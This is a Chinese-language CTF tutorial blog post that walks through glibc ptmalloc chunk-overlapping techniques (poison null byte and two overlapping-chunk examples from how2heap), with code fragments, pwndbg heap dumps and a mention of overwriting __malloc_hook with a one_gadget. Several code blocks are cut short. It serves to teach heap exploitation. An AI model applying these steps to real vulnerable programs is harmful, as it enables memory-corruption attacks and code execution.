关于chunk overlapping的利用总结
pwn的题目里一般遇到off by null或off by one的漏洞,常利用此漏洞进行chunk overlapping,因此想写一篇对chunk overlapping的总结,顺便巩固一下。
概述
在ptmalloc中,使用prev_size来获取前一个chunk的大小,再通过当前chunk的起始地址减去prev_size来求得前一个chunk的地址。在free当前chunk时,通过prev_inuse位获取相邻chunk的使用状态,若相邻chunk是一个freed chunk,就会触发unlink进行chunk的前向或后向合并。通常进行chunk overlapping时,只溢出next chunk的prev_inuse位,然后进行chunk的合并是不成功的,因为unlink中会进行size的检查,如果prev_size域是前一个chunk的数据时,那么P的size与prev_size(next chunk)就不相等,无法通过unlink的检查。
1 |
|
因此在chunk overlapping时,会构造fake chunk,使其满足unlink的要求,即
1 | chunksize(P) == prev_size (next_chunk(P)), 0) |
下面以how2heap的例子进行说明,这里会将poison null byte和chunk overlapping一起来总结。
how2heap
posion null byte
题目概述
编译运行情况:
1 | gcc poison_null_byte.c -o poison_null_byte |
利用分析
这个例子适用于小于2.26的libc版本,即没有tcache的版本。首先分配a b c 三个chunk,a中要存在off by null,b和c后面要进行合并,因此不能大小是fastbin。barrier是为了隔离top chunk,防止free(c)时与top chunk合并。
1 | a = (uint8_t*) malloc(0x100); //0x110 |
现在chunk a、b、c的分布情况如下:
1 | pwndbg> x /8gx 0x603000 #chunk a |
构造chunk c的prev_size为0x200:
1 | uint64_t* b_size_ptr = (uint64_t*)(b - 8); |
chunk c 的分布:
1 | pwndbg> x /8gx 0x603310 |
现在释放b,b进入unsorted bin中:
1 | free(b); |
由于chunk b释放,chunk c的prev_size现在为0x210:
1 | pwndbg> x /8gx 0x603310 |
利用chunk a的off by null溢出一字节,修改chunk b的size为0x200:
1 | a[real_a_size] = 0; |
chunk b的size被修改:
1 | pwndbg> x /8gx 0x603110 #chunk b |
再次malloc(0x100),会触发unlink,从而进行上述检查,而且检查通过:
1 | b1 = malloc(0x100); //0x110 |
再申请b2,堆的分布如下所示,
1 | b2 = malloc(0x80); //0x90 |
1 | pwndbg> x /8gx 0x603110 #chunk b1 |
首先释放chunk b1,伪造fake chunk b是一个freed chunk,b1进入unsorted bin中:
1 | free(b1); |
1 | pwndbg> x /8gx 0x603110 #freed chunk b1 |
此时释放chunk c,用过chunk c的prev_size得到chunk c的前一个chunk也就是fake chunk b的大小为0x210,而且正好是freed chunk,则会触发unlink的前向合并,此时unlink的检查也是可以通过的:
1 | free(c); |
合并后,fake chunk b和chunk c的大小变为fake chunk b的0x210+chunk c的0x110 = 0x320,此时的chunk b虽然处于分配的状态,但因为fake chunk b和chunk c的合并已经被视为freed的状态,此时如果再次申请分配chunk b2的区域,然后释放,编辑chunk b2可以修改freed chunk的fd或bk,将__malloc_hook修改为one_gadget。
1 | pwndbg> x /8gx 0x603110 #freed chunk b |
再次申请0x300的堆块,chunk b2被覆盖,达到chunk overlapping的效果。
1 | d = malloc(0x300); |
1 | pwndbg> x /8gx 0x603110 #chunk d |
在libc 2.26及更高版本中,注意填充对应大小的tcache链,使释放的chunk都进入unsorted bin中能够合并。
overlapping_chunks
题目概述
编译及运行情况:
1 | $ gcc ./overlapping_chunks.c -o overlapping_chunks |
利用分析
首先申请3个chunk,p1、p2和p3。
1 | p1 = malloc(0x100 - 8); //0x100 |
1 | pwndbg> x /8gx 0x603000 #chunk p1 |
释放掉p2,p2进入unsorted bin中。
1 | free(p2); |
1 | pwndbg> x /8gx 0x603000 #chunk p1 |
假设存在一个漏洞,可以溢出修改nextchunk的size域。修改chunk p2的size域,由0x101改为0x181,大小改为chunk p2和chunk p3的大小之和。
1 | int evil_chunk_size = 0x181; |
1 | pwndbg> x /8gx 0x603100 #freed chunk p2 |
再次申请chunk p4,p4的大小为0x180,chunk p4的堆块区域包含了chunk p3,那么chunk p4可以覆写chunk p3的数据,chunk p3也可以修改对应范围内chunk p4的数据。后面就是修改数据的例子,相对比较简单,这里不再赘述。
1 | int evil_region_size = 0x180 - 8; |
1 | pwndbg> x /8gx 0x603100 #chunk p4 |
overlapping_chunk_2
题目概述
题目编译及运行情况:
1 | $ gcc overlapping_chunks_2.c -o overlapping_chunks_2 |
利用分析
首先分配5个chunk,p1、p2、p3、p4和p5,chunk p5是为了隔离top chunk。
1 | p1 = malloc(1000); //0x3f0 |
1 | pwndbg> x /8gx 0x603000 #chunk p1 |
释放chunk p4,p4进入unsorted bin中。
1 | free(p4); |
1 | pwndbg> x /8gx 0x603bd0 #freed chunk p4 |
假设存在一个漏洞,可以溢出修改nextchunk的size域,修改chunk p2的size域为chunk p2和chunk p3的大小之和。
1 | *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; |
1 | pwndbg> x /8gx 0x6033f0 #chunk p2 |
释放p2,此时ptmalloc根据chunk p2的size计算得到chunk p2的nextchunk是chunk p4,会触发unlink进行后向合并,合并后的大小为0x7e0+0x3f0=0xbd0,合并后进入unsorted bin,这时虽然chunk p3处于分配状态,但对应区域也被认为是freed chunk,一起进入unsorted bin中。
1 | free(p2); |
1 | pwndbg> x /8gx 0x6033f0 #freed chunk |
此时,如果申请一个chunk p6,大小恰好为chunk p2+chunk p3的大小,此时chunk p6与chunk p3形成chunk overlapping。
1 | p6 = malloc(2000); //0x7d0 |
1 | pwndbg> x /8gx 0x6033f0 #chunk p6 |
参考
http://tacxingxing.com/2018/01/24/poison-null-byte/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.7_heap_exploit_2.html